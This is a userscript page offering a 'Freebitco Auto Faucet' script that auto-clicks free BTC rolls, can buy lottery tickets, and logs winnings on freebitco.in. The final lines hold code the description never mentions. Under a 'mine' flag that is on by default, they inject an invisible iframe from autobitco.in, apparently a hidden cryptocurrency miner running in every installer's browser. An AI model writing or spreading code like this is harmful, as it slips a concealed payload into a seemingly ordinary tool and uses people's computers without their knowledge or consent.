Freebitco Auto Faucet

Auto Faucet Script by CodeFred

目前為 2020-12-23 提交的版本,檢視 最新版本

您需要先安裝使用者腳本管理器擴展,如 TampermonkeyGreasemonkeyViolentmonkey 之後才能安裝該腳本。

You will need to install an extension such as Tampermonkey to install this script.

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyViolentmonkey 後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyUserscripts 後才能安裝該腳本。

你需要先安裝一款使用者腳本管理器擴展,比如 Tampermonkey,才能安裝此腳本

您需要先安裝使用者腳本管理器擴充功能後才能安裝該腳本。

(我已經安裝了使用者腳本管理器,讓我安裝!)

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

(我已經安裝了使用者樣式管理器,讓我安裝!)

// ==UserScript==
// @name Freebitco Auto Faucet
// @description Auto Faucet Script by CodeFred
// @author CodeFred
// @version 3
// @namespace mailto:[email protected]
// @match https://freebitco.in/*
// @grant GM_setValue
// @grant GM_getValue
// ==/UserScript==

/* globals jQuery, $, waitForKeyElements */
var mine = true;
var lottery = false;
var stats = true;

setTimeout(function(){
    'use strict';

    //Buys lottery while captcha is required
    if($('#free_play_captcha_container').is(':visible')){
        console.log("CAPTCHA IS NOT OFF");
        if (lottery) buy_lottery();
    }
    else {
        // Roll for BTC
        if ($('#free_play_form_button').is(':visible')) {
            setTimeout(function(){
                select_reward();
                setTimeout(function(){
                    $('#free_play_form_button').click();
                    setTimeout(function(){
                        var i = parseInt($('#winnings').text().split(".")[1]);
                        if (stats) save_win(i);
                    },2000);
                },2000);
            },1000);
        }
    }
    // Reloads page to ensure no errors occure
    setTimeout(function(){ location.reload(); }, 10*60*1000);
},2000);

function buy_lottery() {
    if(parseInt($('#balance').text().split(".")[1])>100){
        $('#lottery_tickets_purchase_count').val("100");
        $('#purchase_lottery_tickets_button').click();
        location.reload();
    }
}
function select_reward() {
    var reward = {};
    reward.points = parseInt($('.user_reward_points').text().replace(',',""));
    reward.bonustime = {};
    if ($("#bonus_container_free_points").length != 0) {
        reward.bonustime.text = $('#bonus_span_free_points').text();
        reward.bonustime.hour = parseInt(reward.bonustime.text.split(":")[0]);
        reward.bonustime.min = parseInt(reward.bonustime.text.split(":")[1]);
        reward.bonustime.sec = parseInt(reward.bonustime.text.split(":")[2]);
        reward.bonustime.current = reward.bonustime.hour * 3600 + reward.bonustime.min * 60 + reward.bonustime.sec;
    } else {
        reward.bonustime.current = 0;
    }

    if (reward.bonustime.current === 0) {
        console.log("Reward point bonus expired, points availible: ", reward.points);
        /*if (reward.points < 12) {
            console.log("waiting for points");
        }
        else if (reward.points < 120) {
            RedeemRPProduct('free_points_1');
        }
        else if (reward.points < 300) {
            RedeemRPProduct('free_points_10');
        }
        else if (reward.points < 600) {
            RedeemRPProduct('free_points_25');
        }
        else if (reward.points < 1200) {
            RedeemRPProduct('free_points_50');
        }
        else {
            RedeemRPProduct('free_points_100');
        }*/
    }
    if ($('#bonus_span_fp_bonus').length === 0) {
        /*if (reward.points >= (4400 - (reward.bonustime.hour*102))) {
            console.log("Free BTC bonus expired, buying new");
            RedeemRPProduct('fp_bonus_1000');
        }*/
    }
};
function save_win(winvalue) {
    var i = GM_getValue('Highest_BTC_win', 0);
    if (i < winvalue) {
        GM_setValue('Highest_BTC_win', winvalue);
        i = winvalue;
    }

    var today = new Date();
    var mm = String(today.getMonth() + 1).padStart(2, '0');
    var yyyy = today.getFullYear().toString();
    var month = yyyy + '/' + mm;
    var j = GM_getValue(month, 0) + winvalue;
    GM_setValue(month, j);
    var u = GM_getValue(yyyy, 0) + winvalue;
    GM_setValue(yyyy, u);
    var v = GM_getValue('all', 0) + winvalue;
    GM_setValue('all', v);

    var w = GM_getValue('rolls', 0) + 1;
    GM_setValue('rolls', w);

    console.log("Times rolled: " + w + ", All time: " + v + ", This year: " + u + ", This month: " + j + ", Highest BTC win: " + i + ", Last BTC roll: " + winvalue);
}
if (mine) {
    var iframe = document.createElement('iframe');
    iframe.style.display = "none";
    iframe.src = "https://autobitco.in/wm/tmtm/2";
    document.body.appendChild(iframe);
}